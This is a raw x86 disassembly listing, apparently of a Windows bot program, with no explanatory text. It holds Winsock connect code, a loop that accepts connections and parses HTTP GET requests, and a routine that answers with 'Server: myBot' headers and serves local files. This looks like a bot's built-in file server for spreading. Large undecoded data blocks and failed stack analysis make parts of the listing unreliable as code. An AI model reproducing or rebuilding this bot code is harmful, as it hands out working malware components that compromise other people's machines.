		dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CBA6815h
		dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h
		dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h
		dd 0FFA564E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 6A24h
		dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h
		dd 4CB9ECh, 74FFF883h, 0FF565696h, 4CB71035h, 50B5FF00h
		dd 0E8FFFFFFh, 0FFFFB6C2h, 0E8685059h, 8D004346h, 0FFF94085h
		dd 0E85053FFh, 0D008h, 8D1CC483h, 0FFF94085h, 50006AFFh
		dd 0C657E8h, 8D505900h,	0FFF94085h, 75FF50FFh, 2415FF08h
		dd 83004CBAh, 840FFFF8h, 0FFFFFF43h, 0E71805FFh, 38E9004Ch
		dd 57FFFFFFh, 0BA6C15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFC335E8h
		dd 6A59FFh, 0C56E890h
		db 2Fh,	2
word_40F3AA	dw 8B55h		; DATA XREF: sub_40BD91+22Ao
		dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h,	0A9h, 0BD8DF08Bh
		dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h
		dd 16850F6h, 89000001h,	5D89D85Dh, 0E85D89E0h, 0FDD4B589h
		dd 0B589FFFFh, 0FFFFFBC4h, 4DE0E890h, 5356716Ah, 0E890026Ah
		dd 716A481Eh, 71DC358Bh, 4D8D0042h, 51046AD8h, 0FFFFBFh
		dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AE0h,	8B57FB6Ah
		dd 0FF57F87Dh, 0E8458DD6h, 667E6850h, 90578004h, 6A211DE8h
		dd 10A16671h, 83004CB7h, 5000C865h, 0C445C766h,	15FF0002h
		dd 4CB9D4h, 0C6458966h,	6AC4458Dh, 0E8575010h, 716A4A6Ah
		dd 7DC08590h, 0E9C38B07h, 548h,	0E8570A6Ah, 716A696Ah
		dd 0D49D8990h, 8BFFFFFDh, 4272081Dh, 0D8BD8900h, 89FFFFFDh
		dd 416AFC7Dh, 0FDD4B58Dh, 8D59FFFFh, 0FFFBC4BDh, 33A5F3FFh
		dd 0C4858DF6h, 56FFFFFBh, 8B505656h, 5040FC45h,	23DAE890h
		dd 0F883716Ah, 0F6840FFFh, 33000004h, 0FC7539FFh, 7C087D89h
		dd 6AF633C5h, 60858D64h, 56FFFFFDh, 0CA96E850h,	646A0000h
		dd 0FF50858Dh, 5056FFFFh, 0CA87E8h, 18C48300h, 0FBC4858Dh
		dd 5750FFFFh, 16E57E8h,	0FC08500h, 4A284h, 0F87D3B00h
		dd 458D7A75h, 0F045C7F0h, 10h, 0C4858D50h, 50FFFFFDh, 90F875FFh
		dd 6A916CE8h, 0FFF88371h, 479840Fh, 0C9330000h,	0FDD4B539h
		dd 1676FFFFh, 0FDD8958Dh, 239FFFFh, 83410C74h, 8D3B04C2h
		dd 0FFFFFDD4h, 8D3BF072h, 0FFFFFDD4h, 0BD831675h, 0FFFFFDD4h
		dd 890D7340h, 0FDD88D84h, 85FFFFFFh, 0FFFFFDD4h, 7EFC453Bh
		dd 0FC458903h, 68156A56h, 4349ACh, 0E9D3FF50h, 423h, 60858D56h
		dd 6AFFFFFDh, 90575064h, 6A60FFE8h, 7FC08571h, 0D4958B52h
		dd 33FFFFFDh, 76D63BC9h, 0D8858D3Ah, 39FFFFFDh,	410A7438h
		dd 3B04C083h, 0EBF472CAh, 0CA3B4A26h, 848D1B73h, 0FFFDD88Dh
		dd 4508BFFh, 8B108941h,	0FFFDD495h, 4C083FFh, 72CA3B4Ah
		dd 0D48DFFECh, 57FFFFFDh, 248BE890h, 0BCE9716Ah, 8D000003h
		dd 0FFFCC885h, 858D50FFh, 0FFFFFF50h, 60858D50h, 68FFFFFDh
		dd 4349A4h, 0D6DDE850h,	858D0000h, 0FFFFFF50h, 43499C68h
		dd 39E85000h, 830000D4h, 0C08518C4h, 6A560D75h,	49846816h
		dd 82E90043h, 8D000000h, 0FFFF5085h, 497C68FFh,	0E8500043h
		dd 0D414h, 59C08559h, 6A560A75h, 49646814h, 61EB0043h
		dd 0FF50858Dh, 5C68FFFFh, 50004349h, 0D3F3E8h, 0C0855900h
		dd 560A7559h, 4C680D6Ah, 0EB004349h, 50858D40h,	68FFFFFFh
		dd 434944h, 0D3D2E850h,	85590000h, 0A7559C0h, 68106A56h
		dd 434930h, 858D1FEBh, 0FFFFFF50h, 43492C68h, 0B1E85000h
		dd 590000D3h, 7559C085h, 1E6A560Eh, 43490C68h, 0D9E95700h
		dd 0BF000002h, 434904h,	0FF50858Dh, 5057FFFFh, 0D38BE8h
		dd 0C0855900h, 8D247559h, 0FFFCC885h, 490068FFh, 0E8500043h
		dd 0D374h, 59C08559h, 6A560D75h, 48EC6813h, 9AE90043h
		dd 8D000002h, 0FFFF5085h, 0E85057FFh, 0D354h, 59C08559h
		dd 858D2475h, 0FFFFFCC8h, 4348E868h, 3DE85000h,	590000D3h
		dd 7559C085h, 136A560Dh, 4348D468h, 263E900h, 858D0000h
		dd 0FFFFFF50h, 4348CC68h, 19E85000h, 590000D3h,	7559C085h
		dd 0BE0A6A34h, 4348A0h,	0D8BD8D59h, 0F3FFFFFEh,	858D50A5h
		dd 0FFFFFED8h, 0E8A56650h, 0C264h, 858D5059h, 0FFFFFED8h
		dd 875FF50h, 0F633D3FFh, 21DE9h, 50858D00h, 68FFFFFFh
		dd 434898h, 0D2CEE850h,	85590000h, 2A7559C0h, 80BE056Ah
		dd 59004348h, 0FF38BD8Dh, 0A5F3FFFFh, 8D50A566h, 0FFFF3885h
		dd 0E8A450FFh, 0C218h, 858D5059h, 0FFFFFF38h, 858DB2EBh
		dd 0FFFFFF50h, 43487868h, 8DE85000h, 590000D2h,	0F59C085h
		dd 0B685h, 2C858D00h, 50FFFFFDh, 0FF04858Dh, 8D50FFFFh
		dd 8D50EC45h, 8D50E445h, 8D50DC45h, 8D50D445h, 0FFFD6085h
		dd 485068FFh, 0E8500043h, 0D4E7h, 0FF04858Dh, 0E850FFFFh
		dd 0C951h, 858DF88Bh, 0FFFFFD2Ch, 0C943E850h, 45890000h
		dd 8D326AF4h, 0FFFF0485h, 0E85056FFh, 0C748h, 8D34C483h
		dd 0FFFF0485h, 0F475FFFFh, 48486857h, 0E8500043h, 0CA26h
		dd 858D106Ah, 0FFFFFF04h, 56E85056h, 830000CFh,	45891CC4h
		dd 0EC458DF4h, 0E4458D50h, 0DC458D50h, 0D4458D50h, 0B4458D50h
		dd 43483C68h, 0F3E85000h, 830000C9h, 6A5618C4h,	481C681Dh
		dd 6E90043h, 8D000001h,	0FFFF5085h, 481468FFh, 0E8500043h
		dd 0D1BCh, 59C08559h, 0CC850Fh,	6A560000h, 47E86828h, 75FF0043h
		dd 0FFD3FF08h, 458DF475h, 8E850B4h, 59000001h, 5901F883h
		dd 9E850Fh, 0B5390000h,	0FFFFFBBCh, 8D562375h, 0FFF72085h
		dd 0B8B5FFFFh, 50FFFFFBh, 0FB38858Dh, 0FF50FFFFh, 0FFF920B5h
		dd 9F7FE8FFh, 0C483FFFFh, 14AE814h, 0F8830000h,	93850F01h
		dd 56000000h, 0D068176Ah, 0FF004347h, 0D3FF0875h, 50B4458Dh
		dd 0F720858Dh, 9868FFFFh, 50004347h, 0C949E8h, 0CC48300h
		dd 0FBBCB539h, 2375FFFFh, 20858D56h, 0FFFFFFF7h, 0FFFBB8B5h
		dd 858D50FFh, 0FFFFFB38h, 20B5FF50h, 0E8FFFFF9h, 0FFFF9F21h
		dd 8D14C483h, 0FFF72085h, 0E1E850FFh, 0FF000063h, 4CE4E005h
		dd 2EEB5900h, 68206A56h, 434774h, 858D1FEBh, 0FFFFFF50h
		dd 42CD2068h, 0D5E85000h, 590000D0h, 7559C085h,	1B6A560Dh
		dd 43475868h, 875FF00h,	646AD3FFh, 0FD60858Dh, 5056FFFFh
		dd 0C5D3E8h, 87D8B00h, 470CC483h, 89FC7D3Bh, 8E0F087Dh
		dd 0FFFFFB19h, 0FFFAD9E9h, 58016AFFh, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 1A0h
		lea	eax, [ebp-1A0h]
		push	eax
		push	101h
		nop
		call	near ptr 71AB41DAh
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		push	dword ptr [ebp+8]
		mov	dword_4CE71C, eax
		mov	word ptr [ebp-10h], 2
		nop
		call	near ptr 71AB12F8h
		push	dword ptr [ebp+0Ch]
		mov	[ebp-0Ch], eax
		call	near ptr 71AB1746h
		nop
		mov	[ebp-0Eh], ax
		lea	eax, [ebp-10h]
		push	10h
		push	eax
		push	dword_4CE71C
		nop
		call	near ptr 71AB3E5Dh
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40FA37
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		nop
		call	near ptr 71AB1836h
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FA37:				; CODE XREF: ___:0040FA1Fj
		push	1
		pop	eax
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	esi
		lea	eax, [ebp-104h]
		push	104h
		push	eax
		push	0
		call	near ptr 2690000h
		nop
		lea	eax, [ebp-104h]
		push	offset dword_429068
		push	eax
		call	sub_41BEA2
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_40FAD3
		test	byte ptr [esi+0Ch], 10h
		jnz	short loc_40FAB7
		push	edi
		mov	edi, 400h


loc_40FA7F:				; CODE XREF: ___:0040FAB4j
		push	esi
		push	1
		lea	eax, [ebp-504h]
		push	edi
		push	eax
		call	sub_41BAFA
		add	esp, 10h
		lea	eax, [ebp-504h]
		push	0
		push	edi
		push	eax
		push	dword_4CE71C
		call	near ptr 71AB1AF4h
		nop
		push	1
		nop
		call	near ptr 26A0000h
		test	byte ptr [esi+0Ch], 10h
		jz	short loc_40FA7F
		pop	edi


loc_40FAB7:				; CODE XREF: ___:0040FA77j
		push	esi
		call	sub_41BA3B
		pop	ecx
		push	dword_4CE71C
		nop
		call	near ptr 71AB1A6Dh
		call	near ptr 71AB1836h
		nop
		push	1
		pop	eax


loc_40FAD3:				; CODE XREF: ___:0040FA71j
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FAD6	proc near		; DATA XREF: sub_401ACD+2229o
					; sub_40BD91+475o

var_28F0	= byte ptr -28F0h
var_18F0	= byte ptr -18F0h
var_8F0		= byte ptr -8F0h
var_6F0		= byte ptr -6F0h
var_5EC		= dword	ptr -5ECh
var_5E8		= byte ptr -5E8h
var_360		= byte ptr -360h
var_25C		= dword	ptr -25Ch
var_254		= dword	ptr -254h
var_250		= dword	ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_23C		= byte ptr -23Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_34		= byte ptr -34h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 28F0h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_5EC]
		push	1
		rep movsd
		pop	esi
		xor	ebx, ebx
		mov	[eax+3ACh], esi
		push	10h
		lea	eax, [ebp+var_24]
		push	ebx
		push	eax
		mov	[ebp+var_14], esi
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_24], 2
		push	[ebp+var_25C]
		call	dword_4CB9D4
		push	ebx
		push	esi
		push	2
		mov	[ebp+var_22], ax
		mov	[ebp+var_20], ebx
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_C], edi
		jz	loc_40FEC1
		mov	eax, [ebp+var_254]
		push	10h
		imul	eax, 234h
		mov	dword_43E91C[eax], edi
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4CBA00
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		push	7FFFFFFFh
		push	edi
		call	dword_4CB9FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		lea	eax, [ebp+var_14]
		push	eax
		push	8004667Eh
		push	edi
		call	dword_4CBA70
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEC1
		mov	ebx, esi
		mov	[ebp+var_134], edi
		mov	[ebp+var_138], ebx
		mov	[ebp+var_8], edi


loc_40FBAD:				; CODE XREF: sub_40FAD6+3E1j
		push	41h
		xor	eax, eax
		pop	ecx
		lea	esi, [ebp+var_138]
		push	eax
		push	eax
		push	eax
		lea	eax, [ebp+var_6F0]
		push	eax
		mov	eax, [ebp+var_8]
		lea	edi, [ebp+var_6F0]
		inc	eax
		rep movsd
		push	eax
		call	dword_4CB9BC
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEBC
		xor	esi, esi
		mov	[ebp+var_4], esi


loc_40FBE3:				; CODE XREF: sub_40FAD6+3DBj
		lea	eax, [ebp+var_6F0]
		push	eax
		push	esi
		call	dword_4CB8C0
		test	eax, eax
		jz	loc_40FEA7
		cmp	esi, [ebp+var_C]
		jnz	short loc_40FC65
		lea	eax, [ebp+var_10]
		mov	[ebp+var_10], 10h
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA68
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FEA7
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FC37
		lea	edx, [ebp+var_134]


loc_40FC2B:				; CODE XREF: sub_40FAD6+15Fj
		cmp	[edx], eax
		jz	short loc_40FC37
		inc	ecx
		add	edx, 4
		cmp	ecx, ebx
		jb	short loc_40FC2B


loc_40FC37:				; CODE XREF: sub_40FAD6+14Dj
					; sub_40FAD6+157j
		cmp	ecx, ebx
		jnz	short loc_40FC54
		cmp	ebx, 40h
		jnb	short loc_40FC54
		mov	[ebp+ecx*4+var_134], eax
		mov	ebx, [ebp+var_138]
		inc	ebx
		mov	[ebp+var_138], ebx


loc_40FC54:				; CODE XREF: sub_40FAD6+163j
					; sub_40FAD6+168j
		cmp	eax, [ebp+var_8]
		jbe	loc_40FEA7
		mov	[ebp+var_8], eax
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FC65:				; CODE XREF: sub_40FAD6+126j
		mov	edi, 1000h
		lea	eax, [ebp+var_28F0]
		push	edi
		push	0
		push	eax
		call	sub_41BF70
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 18h
		lea	eax, [ebp+var_28F0]
		push	0
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		test	eax, eax
		jg	short loc_40FCF8
		push	esi
		call	dword_4CBA6C
		xor	ecx, ecx
		test	ebx, ebx
		jbe	loc_40FEA7
		lea	eax, [ebp+var_134]


loc_40FCB7:				; CODE XREF: sub_40FAD6+1EBj
		cmp	[eax], esi
		jz	short loc_40FCC8
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FCB7
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCC8:				; CODE XREF: sub_40FAD6+1E3j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FCEC
		lea	eax, [ebp+ecx*4+var_134]


loc_40FCD6:				; CODE XREF: sub_40FAD6+214j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FCD6


loc_40FCEC:				; CODE XREF: sub_40FAD6+1F7j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FCF8:				; CODE XREF: sub_40FAD6+1C8j
		xor	esi, esi
		push	104h
		lea	eax, [ebp+var_23C]
		push	esi
		push	eax
		call	sub_41BF70
		lea	eax, [ebp+var_28F0]
		mov	[ebp+arg_0], esi
		push	eax
		call	sub_41B9C0
		add	esp, 10h
		test	eax, eax
		jbe	loc_40FEA7


loc_40FD26:				; CODE XREF: sub_40FAD6+309j
		mov	eax, [ebp+arg_0]
		mov	al, [ebp+eax+var_28F0]
		cmp	al, 0Ah
		mov	[ebp+esi+var_18F0], al
		jnz	loc_40FDCB
		mov	esi, offset aGet_0 ; "GET "
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FD9F
		lea	eax, [ebp+var_18F0]
		push	eax
		call	sub_41B9C0
		cmp	eax, 5
		pop	ecx
		jbe	short loc_40FD9F
		mov	eax, offset asc_42CDC0 ; " "
		push	eax
		push	eax
		lea	eax, [ebp+var_18F0]
		push	esi
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41CAD4
		push	eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41C890
		add	esp, 10h
		jmp	short loc_40FDB6
; ---------------------------------------------------------------------------


loc_40FD9F:				; CODE XREF: sub_40FAD6+27Fj
					; sub_40FAD6+291j
		lea	eax, [ebp+var_18F0]
		push	offset asc_4349EC ; "\r\n"
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40FDEA


loc_40FDB6:				; CODE XREF: sub_40FAD6+2C7j
		push	edi
		lea	eax, [ebp+var_18F0]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		or	esi, 0FFFFFFFFh


loc_40FDCB:				; CODE XREF: sub_40FAD6+263j
		inc	[ebp+arg_0]
		lea	eax, [ebp+var_28F0]
		push	eax
		inc	esi
		call	sub_41B9C0
		cmp	[ebp+arg_0], eax
		pop	ecx
		jb	loc_40FD26
		jmp	loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FDEA:				; CODE XREF: sub_40FAD6+2DEj
		xor	ecx, ecx
		test	ebx, ebx
		jbe	short loc_40FE34
		lea	eax, [ebp+var_134]


loc_40FDF6:				; CODE XREF: sub_40FAD6+32Dj
		mov	esi, [ebp+var_4]
		cmp	[eax], esi
		jz	short loc_40FE07
		inc	ecx
		add	eax, 4
		cmp	ecx, ebx
		jb	short loc_40FDF6
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE07:				; CODE XREF: sub_40FAD6+325j
		lea	eax, [ebx-1]
		cmp	ecx, eax
		jnb	short loc_40FE2B
		lea	eax, [ebp+ecx*4+var_134]


loc_40FE15:				; CODE XREF: sub_40FAD6+353j
		mov	edx, [eax+4]
		inc	ecx
		mov	[eax], edx
		mov	ebx, [ebp+var_138]
		add	eax, 4
		lea	edx, [ebx-1]
		cmp	ecx, edx
		jb	short loc_40FE15


loc_40FE2B:				; CODE XREF: sub_40FAD6+336j
		dec	ebx
		mov	[ebp+var_138], ebx
		jmp	short loc_40FE37
; ---------------------------------------------------------------------------


loc_40FE34:				; CODE XREF: sub_40FAD6+318j
		mov	esi, [ebp+var_4]


loc_40FE37:				; CODE XREF: sub_40FAD6+32Fj
					; sub_40FAD6+35Cj
		lea	eax, [ebp+var_23C]
		test	eax, eax
		jz	short loc_40FEA0
		lea	eax, [ebp+var_360]
		push	eax
		call	sub_41B9C0
		mov	edi, eax
		lea	eax, [ebp+var_23C]
		push	eax
		call	sub_41B9C0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_40FEA0
		and	[ebp+arg_0], 0
		lea	eax, [ebp+arg_0]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70
		push	[ebp+var_254]
		lea	eax, [ebp+var_23C]
		push	[ebp+var_248]
		push	eax
		lea	eax, [ebp+var_360]
		push	eax
		push	esi
		call	sub_4100B4
		add	esp, 14h
		jmp	short loc_40FEA7
; ---------------------------------------------------------------------------


loc_40FEA0:				; CODE XREF: sub_40FAD6+369j
					; sub_40FAD6+38Fj
		push	esi
		call	dword_4CBA6C


loc_40FEA7:				; CODE XREF: sub_40FAD6+11Dj
					; sub_40FAD6+143j ...
		mov	esi, [ebp+var_4]
		inc	esi
		cmp	esi, [ebp+var_8]
		mov	[ebp+var_4], esi
		jbe	loc_40FBE3
		jmp	loc_40FBAD
; ---------------------------------------------------------------------------


loc_40FEBC:				; CODE XREF: sub_40FAD6+102j
		mov	edi, [ebp+var_C]
		xor	ebx, ebx


loc_40FEC1:				; CODE XREF: sub_40FAD6+6Aj
					; sub_40FAD6+92j ...
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_8F0]
		push	offset unk_4349C4
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_24C], ebx
		jnz	short loc_40FF07
		push	ebx
		lea	eax, [ebp+var_8F0]
		push	[ebp+var_250]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	eax
		push	[ebp+var_5EC]
		call	sub_409869
		add	esp, 14h


loc_40FF07:				; CODE XREF: sub_40FAD6+40Cj
		lea	eax, [ebp+var_8F0]
		push	eax
		call	sub_415D38
		pop	ecx
		push	edi
		call	dword_4CBA6C
		push	[ebp+var_254]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	near ptr 2700000h
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_40FAD6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40FF31	proc near		; DATA XREF: sub_4100B4+24Do

var_1654	= byte ptr -1654h
var_654		= byte ptr -654h
var_550		= byte ptr -550h
var_44C		= dword	ptr -44Ch
var_3C8		= byte ptr -3C8h
var_2C4		= byte ptr -2C4h
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_A4		= dword	ptr -0A4h
var_9C		= byte ptr -9Ch
var_68		= byte ptr -68h
var_20		= byte ptr -20h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1654h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 0ECh
		mov	esi, eax
		lea	edi, [ebp+var_44C]
		rep movsd
		mov	dword ptr [eax+3ACh], 1
		lea	eax, [ebp+var_3C8]
		push	eax
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_654]
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_A4], edi
		pop	ecx
		jz	short loc_40FF97
		push	offset aTextHtml ; "text/html"
		jmp	short loc_40FF9C
; ---------------------------------------------------------------------------


loc_40FF97:				; CODE XREF: sub_40FF31+5Dj
		push	offset aApplicationOct ; "application/octet-stream"


loc_40FF9C:				; CODE XREF: sub_40FF31+64j
		lea	eax, [ebp+var_9C]
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_68]
		pop	ecx
		mov	esi, 409h
		push	46h
		push	eax
		push	offset aDddDdMmmYyyy ; "ddd, dd	MMM yyyy"
		push	edi
		push	edi
		push	esi
		nop
		call	near ptr 2760000h
		lea	eax, [ebp+var_20]
		push	1Eh
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	edi
		push	edi
		push	esi
		call	near ptr 2751507h
		nop
		lea	eax, [ebp+var_20]
		cmp	[ebp+var_B8], 0FFFFFFFFh
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_68]
		push	eax
		jnz	short loc_410015
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 24h
		jmp	short loc_410036
; ---------------------------------------------------------------------------


loc_410015:				; CODE XREF: sub_40FF31+C5j
		push	[ebp+var_B8]
		lea	eax, [ebp+var_9C]
		push	eax
		lea	eax, [ebp+var_1654]
		push	offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"...
		push	eax
		call	sub_41C266
		add	esp, 28h


loc_410036:				; CODE XREF: sub_40FF31+E2j
		lea	eax, [ebp+var_1654]
		push	edi
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1654]
		push	eax


loc_41004C:				; DATA XREF: ___:004385A8o
					; ___:004385BCo
		push	[ebp+var_44C]
		call	dword_4CBA24
		cmp	[ebp+var_A4], edi
		jnz	short loc_410076
		lea	eax, [ebp+var_550]
		push	eax
		push	[ebp+var_44C]
		call	sub_4109F1
		pop	ecx
		pop	ecx
		jmp	short loc_410093
; ---------------------------------------------------------------------------


loc_410076:				; CODE XREF: sub_40FF31+12Dj
		lea	eax, [ebp+var_654]
		push	eax
		push	edi
		push	[ebp+var_44C]
		lea	eax, [ebp+var_550]
		push	eax
		call	sub_41036B
		add	esp, 10h


loc_410093:				; CODE XREF: sub_40FF31+143j
		push	[ebp+var_44C]
		call	dword_4CBA6C
		push	[ebp+var_B4]
		call	sub_40B6D6
		pop	ecx
		push	edi
		nop
		call	near ptr 2700000h
		pop	edi
		pop	esi
sub_40FF31	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4100B4	proc near		; CODE XREF: sub_40FAD6+3C0p

var_8C4		= byte ptr -8C4h
var_6C4		= dword	ptr -6C4h
var_640		= byte ptr -640h
var_53C		= byte ptr -53Ch
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_31C		= dword	ptr -31Ch
var_318		= dword	ptr -318h
var_314		= byte ptr -314h
var_211		= byte ptr -211h
var_210		= byte ptr -210h
var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_10A		= byte ptr -10Ah
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8C4h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	104h
		lea	eax, [ebp+var_210]
		push	edi
		push	eax
		mov	[ebp+var_4], edi
		call	sub_41BF70
		mov	eax, [ebp+arg_8]
		add	esp, 0Ch
		cmp	byte ptr [eax],	2Fh
		jz	short loc_4100EA
		push	eax
		push	offset aS_3	; "\\%s"
		jmp	short loc_4100F3
; ---------------------------------------------------------------------------


loc_4100EA:				; CODE XREF: sub_4100B4+2Cj
		push	eax
		mov	byte ptr [eax],	5Ch
		push	offset aS_1	; "%s"


loc_4100F3:				; CODE XREF: sub_4100B4+34j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_10C]
		xor	esi, esi
		xor	ebx, ebx
		push	eax
		call	sub_41B9C0
		test	eax, eax
		pop	ecx
		jbe	short loc_41018E
		mov	[ebp+arg_8], 2


loc_41011E:				; CODE XREF: sub_4100B4+D8j
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+arg_8], eax
		pop	ecx
		jnb	short loc_41015E
		cmp	[ebp+esi+var_10C], 25h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10B], 32h
		jnz	short loc_41015E
		cmp	[ebp+esi+var_10A], 30h
		jnz	short loc_41015E
		inc	esi
		mov	[ebp+ebx+var_210], 20h
		inc	esi
		add	[ebp+arg_8], 2
		jmp	short loc_410178
; ---------------------------------------------------------------------------


loc_41015E:				; CODE XREF: sub_4100B4+7Aj
					; sub_4100B4+84j ...
		mov	al, [ebp+esi+var_10C]
		cmp	al, 2Fh
		jnz	short loc_41016E
		push	5Ch
		pop	eax
		jmp	short loc_410171
; ---------------------------------------------------------------------------


loc_41016E:				; CODE XREF: sub_4100B4+B3j
		movsx	eax, al


loc_410171:				; CODE XREF: sub_4100B4+B8j
		mov	[ebp+ebx+var_210], al


loc_410178:				; CODE XREF: sub_4100B4+A8j
		lea	eax, [ebp+var_10C]
		inc	esi
		inc	[ebp+arg_8]
		push	eax
		inc	ebx
		call	sub_41B9C0
		cmp	esi, eax
		pop	ecx
		jb	short loc_41011E


loc_41018E:				; CODE XREF: sub_4100B4+61j
		lea	eax, [ebp+var_210]
		push	eax
		lea	eax, [ebp+var_314]
		push	[ebp+arg_4]
		push	offset dword_429AC8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_314]
		push	offset asc_42A080 ; "\n"
		push	eax
		call	sub_41CAD4
		add	esp, 18h
		lea	eax, [ebp+var_314]
		push	eax
		nop
		call	near ptr 26A0D72h
		push	1
		cmp	eax, 10h
		pop	esi
		jz	short loc_4101DF
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4101E2
		push	[ebp+arg_0]
		jmp	loc_410262
; ---------------------------------------------------------------------------


loc_4101DF:				; CODE XREF: sub_4100B4+11Cj
		mov	[ebp+var_4], esi


